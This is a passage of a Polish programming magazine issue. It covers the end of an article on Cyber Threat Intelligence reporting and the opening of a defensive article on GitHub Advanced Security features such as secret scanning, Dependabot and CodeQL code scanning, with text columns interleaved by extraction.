żeń, który aktualnie ma miejsce w odniesieniu do przedsiębiorstwa, procedures – TTPs), którymi posługują się agresorzy.
ale również rodzaju branży, w jakiej to przedsiębiorstwo działa. O TTPs wspominałem już wcześniej, przy okazji piramidy bólu.
W wyniku identyfikacji typów zagrożeń raport powinien również Dzięki zawarciu w raporcie wspomnianych TTPs odbiorcy są
dostarczać informacji, jak organizacja jest przygotowana na sytuację, w stanie zrozumieć, w jaki sposób infrastruktura organizacji może
w której dane zagrożenie może się zmaterializować, jaki jest poziom być atakowana i jak należałoby się przed tego typu zagrożeniami bro-
realnego wystąpienia określonego zagrożenia, np. zaszyfrowania nić oraz je identyfikować.
wszystkich wrażliwych danych. Tym samym podejmowane są próby Źródłem danych dla raportu są między innymi analizy złośliwego
określenia potencjalnych skutków finansowych oraz ciągłości działa- oprogramowania, raporty z incydentów, raporty CTI dostarczane od
nia biznesu. vendorów oraz opracowania opisujące agresorów, a także wiele in-
Na bazie tych informacji nietechniczni decydenci organizacji nych, jak np. OSINT.
oraz osoby takie jak CISO (Chief Information Security Officer), do Informacje przedstawiane w raporcie stanowią czysto techniczny
których raport jest skierowany, mogą podejmować decyzje związane opis zagrożenia, a tym samym są idealnie rozumiane przez eksper-

<48> { 2 / 2022 < 101 > }


/ Cyber Threat Intelligence – czym jest i dlaczego jest ważne /

tów bezpieczeństwa, takich jak managerów SOC (Security Operation


JAK MOŻNA WYKORZYSTAĆ CTI
Center) oraz NOC (Network Operation Center). Dodatkowo mogą
być wykorzystywane w dłuższym przedziale czasu. Gdy już mamy świadomość, jak przebiega cykl życia CTI oraz jakie-
go rodzaju informacji wywiadowczych w formie raportów można
oczekiwać od operacji CTI, warto wyjaśnić, jak rzeczywiście organi-
Techniczny
zacja może wykorzystać CTI.
Raport tego typu skupia się na dostarczeniu informacji na temat Aby skutecznie bronić się przed zagrożeniami, należy uwzględnić
zasobów technicznych agresorów, takich jak konkretne adresy 4 zdolności zespołów bezpieczeństwa: przewidywanie (ang. predict),
IP wykorzystywane w kampaniach czy też należące do serwerów zapobieganie (ang. prevent), detekcję (ang. detection) oraz reakcję
C2 (Command and Control). Ale także narzędzi, struktury ma- (ang. respond).
ili phishingowych, adresów URL czy też samego oprogramowania Każda z tych zdolności w inny sposób będzie korzystać z infor-
złośliwego. macji wywiadowczych dostarczanych przez zespół CTI.
Informacje zawarte w raporcie pozwalają na identyfikację aktu-
alnie aktywnego ataku poprzez właśnie dostarczenie tak zwanych
Przewidywanie
wskaźników kompromitacji (IoC – Indicator of Compromise).
Tym samym raport ten dostarcza nisko poziomowych informacji, Strategiczne raporty CTI pozwalają organizacji na prognozowanie
którymi organizacja może posłużyć się w celu zasilenia swoich syste- trendów zagrożeń zanim się one zmaterializują i spowodują szkody.
mów bezpieczeństwa (IDS/IPS, firewalle, EDR i inne), aby zwiększyć A tym samym pozwalają na planowanie strategii obrony w celu ich
szansę na wykrycie kampani, która ma miejsce. Ale również jako in- uniknięcia.
formacja dla zespołów reagowania na incydenty (CERT/CSIRT), aby
mogły np. zaklasyfikować istniejący incydent do konkretnej kampani.
Zapobieganie
Z uwagi na to informacje zawarte w raporcie mają krótki czas
przydatności, ponieważ wskaźniki kompromitacji to ten typ infor- CTI pomaga w zatrzymaniu zagrożenia już w pierwszej fazie jego wystą-
macji, które zmieniają się bardzo szybko oraz są łatwe do zidentyfi- pienia poprzez przerwanie łańcucha zagrożeń (Cyber Kill Chain5), np.
kowania według przytoczonej wcześniej piramidy bólu. poprzez dostarczenie zespołowi bezpieczeństwa hashy próbek złośliwe-
Przedstawione rodzaje w określonej kolejności doskonale obrazu- go oprogramowania czy też nagłówków wiadomości phishingowych.
ją przejście od ogółu do szczegółu informacji wywiadowczych.
5. lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <49>
BEZPIECZEŃSTWO

geopolitycznych pozwala na zrozumienie intencji tak zwanych state


Detekcja
actors, czyli grup APT sponsorowanych przez rządy.
W przypadku wystąpienia zagrożenia już bezpośrednio w infrastruk- Wszelkiej maści repozytoria kodu (GitHub/GitLab, Bitbucket,
turze organizacji informacje wywiadowcze dostarczone przez CTI SourceForge i inne) czy też serwisy typu Pastebin stanowią znakomi-
pomagają w identyfikacji tego, co już ma miejsce. Informacje te te źródło nie tylko dla identyfikacji nowych TTPs wykorzystywanych
wzbogacają działania zespołu Threat Huntingu, który jest odpowie- w atakach, ale również jako miejsce wycieków danych wrażliwych,
dzialny za identyfikację tego typu zagrożenia. np. haseł.
Platformy wymiany informacji CTI utrzymywane przez różnych
vendorów bezpieczeństwa pozwalają na uzupełnienie posiadanych
Reakcja
informacji oraz ich weryfikację.
Informacje dostarczone przez CTI pomagają w reakcji na istniejący
incydent oraz ograniczenie potencjalnych skutków jego wystąpienia.
PODSUMOWANIE
Wspiera również proces przewidywania kolejnych kroków, które
mogą być podjęte przez agresora, a tym samym do planowania dzia- Cyber Threat Intelligence to potężne narzędzie w rękach organizacji,
łań obronnych. pozwalające w znacznym stopniu chronić ją przed istniejącymi, jak
i przyszłymi zagrożeniami.

SKĄD CZERPAĆ INFORMACJE Jednak musimy pamiętać, że jest to ciągły proces, który stale nale-
ży usprawniać, i mający różnych odbiorców, których zapotrzebowa-
Odpowiednie źródła danych oraz informacji to połowa sukcesu po- nie na informacje wywiadowcze należy zaspokoić.
wodzenia całej operacji CTI. Autentyczność, wiarygodność, a zara- Będąc świadomym, w jaki sposób realizowane są operacje CTI
zem komplementarność danych to klucz do zwycięstwa. Poleganie i jaki jest cykl życia całego procesu, pozwala to na sprawne porusza-
wyłącznie na jednym źródle, które dostarcza np. informacji o subdo- nie się w całym ogromie informacji oraz na czerpanie z nich samych
menach, jest niewystarczające i powinno być uzupełnione o dodat- korzyści.
kowe zasoby. Realizacja zadań CTI niestety wymaga czasu, w ramach którego
Jednocześnie poleganie tylko i wyłącznie np. na jednym raporcie, zaangażowana powinna być odpowiednia kadra specjalistów wraz
który przedstawia zidentyfikowane TTPs wykorzystywane w aktual- z narzędziami, które będą ich wspomagać. Tym samym potrzebny
nej kampani, może skutkować niewystarczającą zdolnością przewi- jest odpowiedni nakład finansowy. Stąd też nie każda organizacja jest
dywania, zapobiegania, detekcji oraz reakcji na zagrożenie. w stanie udźwignąć taki koszt lub też nie zawsze będzie realizować
Dzięki temu minimalizujemy możliwość pominięcia istotnej pełny zakres operacji CTI.
informacji. W takiej sytuacji organizacja może wykorzystać odpowiedniego
Skąd w takim razie czerpać istotne dane i informacje, aby nic nie vendora, który dostarcza stosownych informacji wywiadowczych
umknęło, a tym samym były one wartościowe? Prócz innych rapor- w postaci raportów odpowiedniego rodzaju (strategicznego, opera-
tów CTI, analizy złośliwego oprogramowania, pomocna jest analiza cyjnego, taktycznego czy też technicznego).
dark i deep webu, czyli miejsca, gdzie operują agresorzy, wymienia- Do bardziej praktycznego ujęcia CTI przejdziemy w drugiej czę-
jąc się informacjami na temat przeprowadzonych oraz planowanych ści artykułu, w którym przybliżę procesy automatyzacji pozyskiwania
operacjach. Oczywiście należy mieć na uwadze, iż nie wszystkie źró- danych oraz ich analizy.
dła tego typu będą dostępne od ręki. Duża ich ilość jest ograniczona
tylko dla zaufanych członków tych grup. Niemniej jednak jest to cen-
ne źródło informacji.
Bibliografia
Często vendorzy CTI, którzy na co dzień dostarczają informacji
[1] crest-approved.org/wp-content/uploads/CREST-Cyber-Threat-Intelligence.pdf
wywiadowczych, posiadają techniczne możliwości stałego monitoro- [2] https://www.agari.com/email-security-blog/what-is-cyber-threat-intelligence/
wania tego typu źródeł. [3] https://counterintelligence.pl
[4] https://cryptome.org/2013/01/aaron-swartz/Psychology-of-Intelligence-Analysis.pdf
Monitorowanie mediów społecznościowych oraz platform komu- [5] https://www.youtube.com/watch?v=J7e74QLVxCk
nikacyjnych takich jak Telegram jest doskonałym źródłem na temat [6] https://attack.mitre.org
[7] https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
bieżących wydarzeń. Jednocześnie wsparte obserwacją wydarzeń

TOMASZ KRAWCZYK
Aktualnie członek zespołu Red Team w jednym z międzynarodowych banków. W przeszłości pentester oraz certowiec w jednej z agencji rządowych.
Entuzjasta CTI, OSINT oraz programowania.

<50> { 2 / 2022 < 101 > }


BEZPIECZEŃSTWO

Funkcje bezpieczeństwa w GitHub Advanced Security


Dbanie o bezpieczeństwo wytwarzanego oprogramowania to złożony proces. Programista
powinien zadbać o jakość własnego kodu, aktualizację wykorzystywanych bibliotek czy wła-
ściwe zarządzanie sekretami. Jeżeli korzystamy z repozytorium kodu GitHub, a nasz kod jest
publicznie dostępny, wiele z tych czynności możemy zautomatyzować bezkosztowo. Pomogą
nam w tym mechanizmy z modułu GitHub Advanced Security (GHAS), takie jak Dependency
Review, Secret Scanning czy Code Scanning.

PROBLEM spowodować nieautoryzowany dostęp do repozytorium kodu aplika-


cji Shopify1, a pozostawienie tokena AWS access naraziło właściciela
Chociaż mogłoby się wydawać, że nowoczesne frameworki progra- konta na wysokie koszty2.
mistyczne skutecznie starają się chronić programistę przed większo- Dobrą praktyką jest przechowywanie poświadczeń wykorzy-
ścią popularnych błędów bezpieczeństwa, to nie są one panaceum na stywanych przez aplikację w zaszyfrowanej postaci, w odpowiednio
wszystkie możliwe zagrożenia. Opieranie bezpieczeństwa na samych zaprojektowanych „skarbcach”. Użytkownicy GitHub mogą skorzy-
umiejętnościach programisty to spore ryzyko. Za dobrą praktykę stać z mechanizmu Encrypted Secrets3, który pozwala na bezpiecz-
uważa się zintegrowanie w proces wytwarzania oprogramowania ne przechowywanie wrażliwych danych uwierzytelniających wyko-
mechanizmów, które w sposób automatyczny (a w miarę możliwości rzystywanych przez GitHub Actions4. Jednakże mechanizm ten nie
w czasie rzeczywistym) wykonują szereg kontroli i analiz z obszaru chroni przed omyłkowym umieszczeniem sekretów w kodzie ani nie
bezpieczeństwa kodu. W artykule postaramy się przybliżyć czytelni- monitoruje kodu pod kątem ich przypadkowego upublicznienia.
kowi mechanizmy bezpieczeństwa, które może zastosować do swo-
jego publicznie dostępnego repozytorium kodu mieszczącego się na
Bezpieczeństwo łańcucha dostaw
platformie GitHub. Narzędzia, które omówimy, dobrze wpasowują
się w podejście shift left security, w ramach którego należy przyło- W ostatnim czasie, nie tylko w dziedzinie wytwarzania oprogramo-
żyć wagę do wykrywania błędów programistycznych i podatności wania, popularnym tematem stał się łańcuch dostaw (oraz jego bez-
na możliwie najwcześniejszym etapie tworzenia oprogramowania. pieczeństwo). Definicja łańcucha dostaw5 powiązana jest z zależno-
ściami od zewnętrznych komponentów, jakie występują w finalnym

WRÓG U BRAM produkcie. Brak dostępności zewnętrznego komponentu, z którego


składa się dany produkt, oznacza brak kompletności całego produk-
Zanim jednak przyjrzymy się mechanizmom, które mają nam pomóc tu. Analogicznie występowanie podatności w komponencie, z któ-
w automatyzacji bezpieczeństwa kodu, warto zapoznać się z samymi rego zbudowany jest produkt, wpływa na końcowe bezpieczeństwo
zagrożeniami, które czyhają na twórców aplikacji. Żeby wprowadzić całego produktu. Stosując tę wiedzę do procesu wytwarzania opro-
czytelnika w temat bezpieczeństwa aplikacji, weźmiemy pod lupę gramowania, okazuje się, że wcale nie trzeba bezpośrednio atakować
popularne grupy zagrożeń z obszaru wytwarzania oprogramowania. aplikacji, aby przełamać jej zabezpieczenia. Zamiast tego atakujący
Skupimy się na tych, które przysporzyły w ostatnim czasie właścicie- może zidentyfikować podatną bibliotekę lub próbować zainfekować
lom aplikacji największy ból głowy, a następnie zmapujemy je na me- komponent, który zostanie wykorzystany do zbudowania oprogra-
chanizmy dostępne w ramach GHAS, które pozwolą zidentyfikować mowania. To właśnie dwa ataki z wykorzystaniem łańcucha dostaw
ich występowanie i zminimalizować ryzyko ich wykorzystania. spędzały sen z powiek osobom zajmującym się bezpieczeństwem:
» Log4j Vulnerability6 – czyli podatność w komponencie do lo-
gowania, która umożliwia zdalne wykonanie kodu. Biblioteka
Przechowywanie sekretów w kodzie
była pobierana ponad 10.350.000 razy (w tym używana przez
Tokeny API, klucze AWS, certyfikaty – nowoczesna aplikacja potrze- Amazon, Minecraft, Oracle, Apple i innych). Więcej o podatno-
buje dostępu do tego typu danych, aby komunikować się z innymi ści Log4j można przeczytać w aktualnym wydaniu w artykule
systemami i skutecznie realizować usługi, do których została zapro- „Z archiwum CVE: Log4j”.
jektowana. Takie informacje nie powinny jednak być przechowywa-
ne bezpośrednio w repozytorium kodu. Niestety historia pokazuje, że 1. https://portswigger.net/daily-swig/stray-github-access-token-from-shopify-earns-novice-bug-bounty-
hunter-50k
nie zawsze programistom udaje się zachować odpowiednią higienę 2. https://selvaganesh93.medium.com/what-happens-if-you-accidentally-commit-your-aws-access-
kodu w tym zakresie. Znane są przypadki, gdzie skutki umyślnego token-to-public-github-be50d378b4c7
3. https://docs.github.com/en/actions/security-guides/encrypted-secrets
(lub przypadkowego) przechowywania sekretów w plikach konfigu- 4. https://docs.github.com/en/actions
racyjnych (lub bezpośrednio w kodzie) były dotkliwe. Na przykład 5. https://github.blog/2020-09-02-secure-your-software-supply-chain-and-protect-against-supply-
chain-threats-github-blog/
umieszczenie tokena GitHub access w repozytorium kodu mogło 6. hackerone.com/vulnerability-management/log4j-vulnerability-activity-hackerone-platform

<52> { 2 / 2022 < 101 > }


/ Funkcje bezpieczeństwa w GitHub Advanced Security /

» SolarWinds7 – historia wstrzyknięcia złośliwego kodu w opro- ced Security15 (GHAS). Właśnie na korzyściach płynących z wyko-
gramowanie wykorzystywane m.in. przez największe firmy z listy rzystania GHAS skupimy się w tym artykule.
Fortune 500.

Rys historyczny
Aby uniknąć tego typu problemów, programista powinien co naj-
mniej śledzić, z jakich komponentów jest zbudowana aplikacja, oraz Obecne mechanizmy dostępne w ramach pakietu GitHub Advanced
systematycznie weryfikować, czy nie mają one znanych podatności Security to efekt wieloletniej pracy włożonej we wdrożenie w ekosys-
bezpieczeństwa. Jeśli taka zależność zostanie znaleziona, powinna tem GitHub narzędzi mających podnieść bezpieczeństwo kodu:
zostać zaktualizowana, zastąpiona lub usunięta. » W 2017 roku wprowadzono mechanizm Dependency Graph16,
który umożliwiał tworzenie listy bibliotek zewnętrznych wyko-
rzystywanych w projekcie, a niespełna miesiąc później mecha-
Błędy w kodzie
nizm Security Alerts17, który informował administratora repo-
Popełnienie błędu w kodzie podczas pisania aplikacji można przy- zytorium, jeżeli jego kod korzystał z podatnej biblioteki.
jąć za rzecz nieuniknioną. Niektórzy przygodę z programowaniem » W 2018 roku dodano mechanizm Token Scanning18 dla publicz-
dopiero zaczynają, a inni nie są świadomi błędów, które popełniają. nych repozytoriów (prekursor mechanizmu Secret Scanning) –
Wiele z pozornie prostych pomyłek może w przyszłości przyczynić pierwotnie sprawdzał on występowanie w kodzie tokenów GitHub
się do powstania poważnych błędów w oprogramowaniu. Błędy pro- OAuth, a następnie rozszerzono funkcjonalność, by weryfikować
gramistyczne można popełnić na każdym etapie, od frontendu do występowanie w kodzie również i innych sekretów, jak na przy-
backendu, przez kontrolę dostępu do błędów w logice biznesowej8. kład tokeny AWS, GCP czy Azure.
Zasadniczo próby znalezienia tego typu podatności możemy wy- » W styczniu 2019 roku GitHub zintegrował narzędzie Dependabot
konywać już od pierwszych napisanych linijek kodu, a dobrą prakty- ze swoją platformą19, dając użytkownikom możliwość zaktualizo-
ką jest skanowanie repozytorium kodu po każdej jego modyfikacji. wania podatnej biblioteki zewnętrznej wykorzystywanej w kodzie
Do tego zadania służą m.in. narzędzia klasy Static Application Secu- do najbliższej niepodatnej wersji w zaledwie kilka kliknięć.
rity Testing (SAST), które skutecznie znajdują np. sklejane zapytania » W maju 2019 zostały wprowadzone funkcje:
SQL czy użycie niebezpiecznych funkcji. ǿ Security Policy20 – czyli sekcja w zakładce Security, w której
programista może umieścić plik SECURITY.MD zawie-

REPOZYTORIUM KODU GITHUB rający informację o tym, w jaki sposób można się z nim
kontaktować w przypadku znalezienia podatności bezpie-
GitHub to największa platforma oparta na rozproszonym systemie kon- czeństwa w kodzie
troli wersji. Powstała ona w 2008 roku i mało kto mógł wówczas przy- ǿ Security Advisory21, gdzie administrator repozytorium
puszczać, że 10 lat później Microsoft zapłaci za nią astronomiczną kwotę może zamieszczać informacje o podatnościach zidentyfi-
7,5 miliarda dolarów. GitHub obsługuje obecnie ponad 128 milionów kowanych w jego kodzie, wraz z rekomendacjami odnośnie
publicznych projektów i jest często pierwszym wyborem użytkowników tego, która wersja kodu jest wolna od błędu.
społeczności open source (ponad 24 milionów kont publicznych)9. » Koniec roku 2019 przyniósł możliwość wykorzystania mechani-
Na popularność platformy GitHub wpływa m.in. prosty i intuicyj- zmu GitHub Actions22 dla otwartych repozytoriów. Umożliwia
ny interfejs użytkownika (GUI), który ułatwia wprowadzenie progra- on tworzenie potoków CI/CD dla kodu znajdującego się w re-
mistów do pracy z systemem kontroli wersji, rozbudowane API oraz pozytorium GitHub. To właśnie na tym mechanizmie opiera się
GitHub Marketplace10, czyli miejsce do integracji kodu użytkowni- automatyzacja bezpieczeństwa GitHub Actions.
ka z narzędziami i oprogramowaniem zewnętrznym. Ekosystem » W maju 2020, podczas konferencji GitHub Satellite wprowadzo-
GitHub dynamicznie się rozwija, a zaplanowane na rok 2022 nowe na zostaje nazwa GitHub Advanced Security wraz z przekaza-
funkcje platformy dostępne są do wglądu dla każdego użytkownika niem informacji o możliwości skanowaniu kodu aplikacji znaj-
serwisu11. Zespół rozwijający platformę nie tylko przykłada uwagę dującej się w repozytorium GitHub z wykorzystaniem silnika
do rozwoju narzędzi mających polepszyć ergonomię pracy w eko- CodeQL, który zostanie opisany w dalszej części artykułu.
systemie GitHub (przez wprowadzanie takich narzędzi jak GitHub
CodeSpace12 czy GitHub CoPilot13) oraz integracji kodu z procesem To oczywiście nie koniec zaplanowanych prac w obszarze bezpie-
CI/CD (poprzez wykorzystanie GitHub Actions14), ale również dba czeństwa platformy GitHub. Na roadmapie zespołu GitHub można
o bezpieczeństwo kodu znajdującego się w repozytorium poprzez zobaczyć dalsze planowane usprawnienia w obszarze GitHub Advan-
wykorzystanie mechanizmów wchodzących w skład GitHub Advan- ced Security23.

15. docs.github.com/en/get-started/learning-about-github/about-github-advanced-security
7. https://whatis.techtarget.com/feature/SolarWinds-hack-explained-Everything-you-need-to-know 16. https://github.blog/2017-10-11-a-more-connected-universe/
8. https://waverleysoftware.com/blog/top-software-vulnerabilities/ 17. https://github.blog/2017-11-16-introducing-security-alerts-on-github/
9. https://towardsdatascience.com/githubs-path-to-128m-public-repositories-f6f656ab56b1 18. https://github.blog/2018-10-17-behind-the-scenes-of-github-token-scanning/
10. https://github.com/marketplace 19. github.blog/2019-01-31-keep-your-dependencies-secure-and-up-to-date-with-github-and-dependabot/
11. https://github.com/orgs/github/projects/4247/views/1 20. docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository
12. https://github.com/features/codespaces 21. https://docs.github.com/en/code-security/security-advisories/about-github-security-advisories
13. https://copilot.github.com/ 22. https://github.blog/2019-08-08-github-actions-now-supports-ci-cd/
14. https://github.com/features/actions 23. https://github.com/orgs/github/projects/4247/views/6

{ WWW.PROGRAMISTAMAG.PL } <53>
BEZPIECZEŃSTWO

Rysunek 1. Publicznie dostępna roadmapa rozwoju narzędzi z pakietu GitHub Advanced Security

KOSZTY I OPŁATY Mechanizmy GitHub Advanced Security


W tym miejscu warto się na chwilę zatrzymać i pokrótce opisać kosz- Na dzisiaj w skład pakietu GitHub Advanced Security wchodzą na-
ty związane z korzystaniem z pakietu GHAS. Dla użytkowników stępujące mechanizmy:
platformy GitHub, których kod znajduje się w repozytoriach pu- » GitHub Secret Scanning
blicznie dostępnych, funkcje wchodzące w skład GitHub Advanced » GitHub Dependency Review
Security są darmowe24. Użytkownik zwolniony jest z opłat zarówno » GitHub Code Scanning
za korzystanie z mechanizmów Dependency Review, Secret Scan-
ning, jak i Code Scanning (z wykorzystaniem silnika CodeQL). Co Poświęćmy chwilę, aby zapoznać się z ich konfiguracją.
więcej, użytkownikowi nie naliczana jest opłata za uruchamianie za- Poniżej zaprezentowano interfejs (Rysunek 2 i Rysunek 3), gdzie
dań z wykorzystaniem mechanizmu GitHub Actions (dla właścicieli użytkownik może włączyć funkcje GHAS (GitHub Advanced Security).
prywatnych repozytoriów uruchomienie kodu w ramach mechani- Poszczególne mechanizmy zostaną omówione w dalszej części artykułu.
zmu GitHub Actions na serwerach GitHub wiąże się z poniesieniem Warto zaznaczyć, że wgląd do zakładki Security z widokiem listy podat-
opłaty, która naliczana jest za każdą minutę działania kodu). Dlatego ności dostępny jest jedynie dla administratora repozytorium lub użyt-
darmowe konta z publicznie dostępnym kodem idealnie nadają się kownika z rolą Security Manager28 (dla kont GitHub Enterprise).
do doskonalenia swoich umiejętności w obszarze DevSecOps z wy-
korzystaniem wbudowanych mechanizmów oferowanych przez plat-
GitHub Secret Scanning
formę GitHub.
Dla użytkowników kont GitHub Enterprise rozliczenie za pakiet GitHub Secret Scanning to narzędzie, które przeszukuje repozyto-
GitHub Advanced Security odbywa się za pomocą licencji wydawa- ria kodu w poszukiwaniu znanych formatów kluczy i tokenów. Jeśli
nych na tzw. Commitera25 (czyli osobę aktywnie dodającą nowe li- w repozytorium kodu użytkownika platformy GitHub znajdą się klu-
nie kodu do repozytorium). Warto zaznaczyć, że osobno naliczana cze AWS czy token do autoryzacji, GitHub powiadomi usługodawcę,
jest tutaj opłata za wykorzystane minuty na zadania GitHub Actions. który wydał sekret. Usługodawca weryfikuje ciąg znaków, a następnie
Na stronie GitHub można zapoznać się z cennikiem26 i bardzo po- zdecyduje, czy powinien unieważnić klucz, wydać nowy czy skontak-
mocnym kalkulatorem27. tować się bezpośrednio z właścicielem repozytorium. GitHub publi-
kuje listę partnerów29, z którymi współpracuje w ramach mechani-
zmu Secret Scanning (Rysunek 4).
24. Stan na marzec 2022 r.
25. https://docs.github.com/en/billing/managing-billing-for-github-advanced-security/about-billing-
-for-github-advanced-security 28. https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-
26. https://github.com/pricing roles/managing-security-managers-in-your-organization
27. https://github.com/pricing/calculator 29. https://docs.github.com/en/code-security/secret-scanning/secret-scanning-patterns

<54> { 2 / 2022 < 101 > }


/ Funkcje bezpieczeństwa w GitHub Advanced Security /

Rysunek 2. Zakładka Security jest głównym miejscem z informacjami o podatnościach znalezionych w ramach GHAS. Domyślnie funkcje Code Scanning oraz Dependabot alerts są wyłączone

Rysunek 3. Funkcje z pakietu GHAS można również włączyć z poziomu zakładki Settings, sekcja Code Securtity and Analysis

Rysunek 4. Schemat komunikacji30 z właścicielem repozytorium w przypadku znalezienia przez GitHub sekretu w kodzie

30. https://docs.github.com/en/developers/overview/secret-scanning-partner-program

{ WWW.PROGRAMISTAMAG.PL } <55>
BEZPIECZEŃSTWO

Dla bezpłatnych kont założonych na platformie GitHub mających » Nowy rekord zostanie dodany do bazy podatności GitHub (Gi-
otwarte repozytoria mechanizm Secret Scanning jest automatycznie tHub Advisory Database).
włączany w repozytoriach publicznych, nie ma możliwości jego kon- » Zmienia się Dependency graph dla repozytorium.
figuracji i nie można go wyłączyć (Rysunek 5).
Dependabot security updates to narzędzie, które w automatyczny spo-
sób pomaga w aktualizacji komponentów. Jeżeli w repozytorium zosta-
nie wykryta podatna zależność, Dependabot automatycznie zapropo-
Rysunek 5. Mechanizm Secret Scanning jest domyślnie aktywny i nie można go wyłączyć nuje podniesienie jej wersji. Proces składa się z następujących kroków:
dla darmowych kont GitHub » Dependabot sprawdzi, czy jest możliwa aktualizacja zależności
do wersji, która nie zawiera podatności,
» Dependabot wykona pull request z zaktualizowaną zależnością
GitHub dependency review
w najniższej wersji, która zawiera patch.
Dependency review31 to odpowiedź platformy GitHub na problem
związany z bezpieczeństwem łańcucha dostaw. Mechanizm ten Od administratora repozytorium zależy, czy zaproponowane zmiany
umożliwia wychwycenie podatnych komponentów, z których zbu- zostaną zaakceptowane.
dowana jest aplikacja, oraz dostarcza informacji o licencji i wersji Zarówno funkcje Dependabot Alerts, jak i Dependabot security
zależności. updates nie są domyślnie aktywowane. Usługę można włączyć w za-
Aby przeprowadzić przegląd zależności (ang. dependency review), kładce Settings, sekcja Code Security and Analysis.
GitHub posiłkuje się następującymi mechanizmami:
» Dependency graph
CODE SCANNING
» GitHub Advisory Database
» Dependabot Code Scanning to funkcja z pakietu GitHub Advanced Security, któ-
ǿ alerts ra służy do wykonywania analizy kodu znajdującego się w repozy-
ǿ security updates torium GitHub. Mechanizm może być wykorzystany do znalezienia,
oceny i ustalenia priorytetu naprawy zidentyfikowanych błędów bez-
Zadaniem funkcji Dependency graph32 jest wgląd w pliki manifestu pieczeństwa w kodzie.
oraz pliki konfiguracyjne, aby pozyskać informacje o zależnościach Podobnie jak Dependency review, funkcja Code Scanning nie jest
wykorzystanych w projekcie. Narzędzie to można aktywować w usta- domyślnie aktywowana na koncie GitHub dla publicznych repozy-
wieniach repozytorium w zakładce Code security and analysis, a lista toriów. Usługę można włączyć m.in. przez zakładkę Security, sekcja
zależności jest dostępna w repozytorium z poziomu zakładki Insights, Overview, lub w zakładce Settings, sekcja Code Security and Analysis.
sekcja Dependency graph (Rysunek 6). Wszelkie problemy zidentyfikowane w trakcie analizy kodu są poka-
GitHub Advisory Database33 to baza danych GitHub zawierająca zane na platformie GitHub w zakładce Security. W ramach funkcji
listę komponentów open-source ze znanymi podatnościami. Code Scanning programista może korzystać z wielu narzędzi do ana-
GitHub Advisory Database pobiera informacje o podatnościach lizy kodu, jednak w tym artykule skupimy się wyłącznie na skanach
z następujących źródeł: z wykorzystaniem silnika CodeQL obsługiwanego przez GitHub
» National Vulnerability Database34 z wykorzystaniem GitHub Actions.
» Security advisories zgłoszone na GitHub35 W 2019 r. GitHub kupił firmę Semmle i od tej pory wdraża moż-
» Skany repozytoriów GitHub z wykorzystaniem własnych algo- liwość skanowania z wykorzystaniem CodeQL na swojej platformie.
rytmów machine learning Silnik CodeQL stosuje tak zwane podejście Variant Analysis (VA),
czyli traktowanie kodu źródłowego jako bazy danych. Takie podejście
Każdy użytkownik może dodać swój rekord do bazy, dlatego podat- umożliwia odpytywanie bazy stworzonej na podstawie kodu o różne
ności dzielą się dodatkowo na dwie kategorie – zatwierdzone i nieza- właściwości w specjalnym języku CodeQL (w tym o występowania
twierdzone przez GitHub. konkretnego rodzaju podatności). Użytkownik GitHub nie musi
Funkcja Dependabot Alerts ma na celu wysłanie powiadomień, martwić się tym, gdzie CodeQL przechowuje bazę danych powstałą
kiedy zostaną wykryte podatne zależności w repozytorium. Tech- z naszego kodu. Nie musi również instalować żadnych dodatkowych
nicznie rzecz ujmując, Dependabot sprawdza, czy komponenty, komponentów na swojej maszynie czy niepokoić się o skalowalność
z których korzysta aplikacja, nie są zgłoszone w GitHub Advisory maszyn wykorzystanych do przeprowadzania skanów. Wszystkie
Database, a następnie wyświetli powiadomienie w zakładce Security operacja odbywają się na serwerach GitHub.
na platformie GitHub. Przeszukiwanie odbywa się, gdy: W chwili pisania tego artykułu silnik CodeQL wspierał następu-
jące języki: C++, C#, Go, Java, JavaScript, Python, Ruby. Konfiguracja
31. https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-sup-
ply-chain/about-dependency-review
skanu odbywa się poprzez stworzenie pliku YAML i umieszczenie go
32. https://docs.github.com/en/enterprise-server@3.1/code-security/supply-chain-security/understan- w folderze .github/workflows/. Domyślna nazwa pliku konfiguracyj-
ding-your-software-supply-chain/about-the-dependency-graph
33. https://github.com/advisories
34. https://nvd.nist.gov/
35. https://docs.github.com/en/code-security/repository-security-advisories/about-github-security-
advisories-for-repositories

<56> { 2 / 2022 < 101 > }


/ Funkcje bezpieczeństwa w GitHub Advanced Security /

Rysunek 6. Dependency graph zawiera informacje o wykorzystanych zależnościach w projekcie. Przy włączonej funkcji Dependabot Alerts zakładka prezentuje informacje o podatnościach
w wykorzystywanych komponentach (informacje o podatnościach pobierane są z GitHub Advisory Database)

Rysunek 7. Widok podatnych zależności w przykładowym projekcie GitHub z włączoną funkcją Dependabot Alerts. Jeżeli możliwe jest zaktualizowanie biblioteki do niepodatnej wersji,
Dependabot security updates poinformuje o tym, prezentując zieloną ikonką z prawej strony wiersza

Rysunek 8. Użytkownik może korzystać z funkcji Code Scanning z wykorzystaniem silnika CodeQL obsługiwanego przez GitHub lub zewnętrznego narzędzia do skanowania kodu dostępne-
go np.w GitHub Marketplace

{ WWW.PROGRAMISTAMAG.PL } <57>
BEZPIECZEŃSTWO

Rysunek 9. Podatności znalezione w ramach funkcji Code Scanning dostępne są w zakładce Security w sekcji Code Scanning Alerts

Rysunek 10. Dla każdej podatności zidentyfikowanej w ramach funkcji Code Scanning użytkownik może zapoznać się z opisem zidentyfikowanego błędu, miejscem jego występowania
w kodzie, poziomem ryzyka, jaki generuje, powiązanym przepływem danych oraz rekomendacją odnośnie sposobu jego usunięcia

<58> { 2 / 2022 < 101 > }


/ Funkcje bezpieczeństwa w GitHub Advanced Security /

nego tworzonego podczas pierwszej konfiguracji to codeql-analysis. Security. Domyślna strategia akcji ma wyłączoną pozycję fail-
yml. Konfiguracja pliku opiera się na składni GitHub Actions.36 fast, która anuluje wykonywanie pozostałych zadań, jeżeli niepo-
wodzeniem zakończył się skan jednego z języków znajdujących się
Listing 1. Po wybraniu przycisku Configure CodeQL alerts generowany jest
domyślny plik codeql-analysis.yml odpowiedzialny za wykonanie skanu z w macierzy (ang. matrix). GitHub automatycznie wypełnia pozycję
wykorzystaniem silnika CodeQL i GitHub Actions macierzy języków, które znajdują się w repozytorium i mają być ob-
name: "CodeQL"
jęte procesem Code Scanning. Opis procesu (ang. steps) w ramach
